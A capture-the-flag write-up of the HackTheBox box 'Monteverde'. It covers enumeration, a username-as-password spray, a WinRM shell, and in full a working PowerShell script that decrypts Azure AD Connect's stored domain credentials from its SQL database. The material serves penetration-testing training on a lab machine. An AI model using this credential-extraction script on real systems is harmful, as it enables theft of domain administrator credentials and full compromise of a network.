Monteverde

This is an interesting box that mixed lazy admins with the risks of cloud based authentication.

Run nmap

First time in HTB nmap says the host is down. Wonder if somebody has been messing with the box or its part of the challenge. Lets force Nmap to scan even with the box showing its down with -pN as a flag.

Interesting, they have TCPWrappers enabled. We can see that LDAP, SMB, DNS and Kerberos ports are open by looking at the port numbers but there is some obfuscation. As this seems to be a windows box lets enumerate with enum4linux and follow up findings with impacket and see if we can find a way in.

Enum4linux

Decent bit of information we now have users – including a juicy sounding SABatchJobs account, the domain and some groups. Maybe we should try some kerbroasting like we learned about with Sauna.

Kerberos enumeration

Reviewing the blog; https://www.tarlogic.com/en/blog/how-to-attack-kerberos/  and lets use kerbrute to confirm the usernames.

Impacket and kerbroasting seem to be a dead end, so lets try enumerating some more with SMB.

SMB enumeration.

We confirm SMB is running with CME and an additional nmap scan. We recently discovered a new pentesting tool called RPCClient which should give us a low privilege shell. Using this guide, we proceed; https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/

We find additional information on privileges and are able to drill down into the user accounts we found previously, we see only 3 accounts have logged in previously, lets focus on these as we know these are good.

SMB bruteforce

After playing around with these 3 usernames and running into issues with both MSF and CME. Trying rockyou as the password list didnt work for us until we started trying the usernames as password and found SABatchJobs password was SABatchjobs. Bighead would be proud.

We did spend about 3 hours trying to get smbclient to work, the quarantine and coffee shortages are having an impact on my life.. but luckily literally the first thing we checked has the second users password, mhope. I am a ball luck right now! 😊 When we ran cme for winrm we found it was open, so using evil-winrm, a tool we used in a previous HTB, we can try for shell.

Looks like we are successful.

And we have user.

Evil-Winrm enumeration

Starting to enumerate with winrm we check the services and see the big service is SQL running on this box and Azure ADConnect. We will need to enumerate with some scripts though

We upload PowerSploit, and Sherlock.

None of these tools give us anything to work with, box seems solid.

A friend reminds us the use the /all paramete for WhoAmI and it shows us that mhope is in the MEGABANK\Azure Admins group. This stands out as suspicious. But lets enumerate SQL server first as it seems more likely than azure.

Enumerating SQL Server

We can see this is SQL server so lets focus on that. Googling gives us an enum guide we will use as SQL Servers and us are not a good match 😮

Trying the use MSF to log in with mhope doesn’t work. Seems Mhope isnt allowed to access SQL. Going back to googling/researching what we found so far a wild blog suddenly appears that chains our two findings together; https://vbscrub.video.blog/2020/01/14/azure-ad-connect-database-exploit-priv-esc/ Best of all VBScrub wrote it who is a very good hacker who always offers awesome advise on the HTB forums.

The exploit

We read through the original exploit VBScrub linked to; https://blog.xpnsec.com/azuread-connect-for-redteam/ and use his code to create a ps1 file, reading through the code, doesn’t seem to be anything we will need to change. But now lets upload it with winrm and execute.. lets see what happens.

We upload it as normal and when we run it evil winrm cuts out. We didnt think of this at the time but we should have loaded the module into Evil-WinRm but we didnt realise our mistake. We did notice it was showing the file being execute from my kali machine. Reading back over the blog we see that “you also need to make sure the mcrypt.dll from the download link is in the same directory the program is in.” we try this and try adding mcrypt.dll to our path, but neither is successful, keeps cutting out.

We decided to run the following code that we found line by line, its different to the above as it hardcodes the mcrypt.dll location;

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server = $server; Database = $db; Initial Catalog=$db; 
Integrated Security = True;"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path "C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll"
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}

"[+] Domain:  " + $domain.Domain
"[+] Username: " + $username.Username
"[+]Password: " + $password.Password

This is pretty awesome, we get the credentials.

And we are admin with the root.txt 🙂